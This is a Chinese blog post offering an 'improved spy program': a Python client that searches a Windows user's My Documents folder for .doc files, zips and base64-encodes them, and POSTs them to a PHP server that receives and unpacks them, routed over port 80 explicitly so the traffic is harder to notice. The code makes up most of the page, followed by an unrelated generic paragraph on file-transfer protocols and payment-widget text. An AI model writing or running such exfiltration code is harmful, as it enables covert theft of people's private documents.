python 间谍程序传输文件改进版 PHP作服务端

上一篇 间谍程序传输文件 socket编程 其实有两点不好:

1、作为间谍程序,自己开2000端口,很容易被发现,应该走80端口

2、用PHP作服务端比用python直接IP开server socket 简单,自然且稳定一点(也就一点啦)


server.php

<?php
	function unzip_file($file, $destination){ 
		//php.ini 中 的extension=php_zip.dll 要解注释
		$zip = new ZipArchive() ; 
		if ($zip->open($file) !== TRUE) { 
			die ('Could not open archive'); 
		}  
		$zip->extractTo($destination); 
		$zip->close(); 
		echo 'ok'."<br/>"; 
	} 
	
	$path = iconv("UTF-8","gb2312","C:\\Documents and Settings\\Administrator\\桌面");
	$filename = $path +"\\out.zip";
	echo $filename."<br/>";
	$fp = fopen($filename,"wb");
	$encode_data = file_get_contents("php://input");
	$decode_data = base64_decode($encode_data);
	fwrite($fp,$decode_data);
	unzip_file($filename,$path);
	echo "finished!"."<br/>"
?>


client.py

# -*- coding: cp936 -*-
import socket
import win32com.client
import win32api
import os
import time
import zipfile
import codecs
import base64
import urllib2,urllib,httplib

def walk_dir(dir,filelist,extName,topdown=True):
    for root, dirs, files in os.walk(dir, topdown):
        for name in files:
            if (os.path.splitext(os.path.join(root,name)))[-1] == extName:
                filelist.append(os.path.join(root,name))       
        for name in dirs:
            if (os.path.splitext(os.path.join(root,name)))[-1] == extName:
                filelist.append(os.path.join(root,name))

def post_data(data,HOST,PORT):
    conn = httplib.HTTPConnection(HOST,PORT)
    conn.request('POST','/server.php',data,{})
    response = conn.getresponse()
    resdata = response.read()
    print response
    
def main():        
    HOST = '127.0.0.1'
    PORT = 80
    BUF_SIZE = 65535
    key = 'ouyang'
    dicName = "C:\Documents and Settings\Administrator\我的文档"
    extName = '.doc'

    #遍历搜索我的文档的doc类型
    try:
        filelist = []
        walk_dir(dicName,filelist,extName)
    except IOError,e:
        print "文件处理错误: " % e
        sys.exit(-1)

   
    #压缩成zip文件
    zfile = zipfile.ZipFile('in.zip','w',zipfile.ZIP_DEFLATED)
    for f in filelist:
        zfile.write(f)
    zfile.close()
    
    #base 2进制 加密 encode(infile,outfile)
    infile = open('in.zip','rb')
    tmpfile = open('in.tmp','wb')
    base64.encode(infile,tmpfile)
    infile.close()
    tmpfile.close()
    
    #send
    tmpfile = open('in.tmp','rb')
    post_data(tmpfile.read(),HOST,PORT)
    tmpfile.close()

    
    #后续处理 删除中间文件
    os.remove('in.tmp')
        


if __name__=='__main__':
    main()



  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
传输文件协议设计与实现是指服务端和客户端之间传输文件的规则和实际操。在Python中,可以使用socket模块来实现。 服务端: 1. 创建一个socket对象,绑定IP地址和端口号。 2. 使用socket的listen方法监听连接请求。 3. 当有连接请求到达时,使用socket的accept方法接受连接,并返回一个新的socket对象,用于处理该客户端的请求。 4. 通过该新的socket对象,可以使用recv方法接收客户端发送的文件名信息。 5. 根据文件名打开需要传输文件,并将文件内容按照固定大小进行分块,然后使用send方法将文件块发送给客户端。 6. 重复步骤5直到文件传输完毕,然后关闭socket连接。 客户端: 1. 创建一个socket对象,指定服务端的IP地址和端口号。 2. 使用socket的connect方法连接到服务端。 3. 使用socket的send方法发送需要传输文件名信息给服务端。 4. 使用recv方法接收服务端发送的文件块,并将文件块写入到本地文件中。 5. 重复步骤4直到文件传输完毕,然后关闭socket连接。 需要注意的是,在设计传输文件协议时,可以考虑使用一些特殊符号为分隔符来区分不同的信息,比如使用换行符(\n)来分隔文件名和文件块。另外,还可以标记文件传输的起始和结束,以便在接收端正确处理文件数据。 上述是传输文件协议设计与实现的简单示例,可以根据具体需求进行修改和优化。传输文件的协议设计和实现需要考虑到数据的完整性、可靠性、性能等方面的问题,可以通过增加校验和、重传机制等来提高传输的可靠性和性能。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值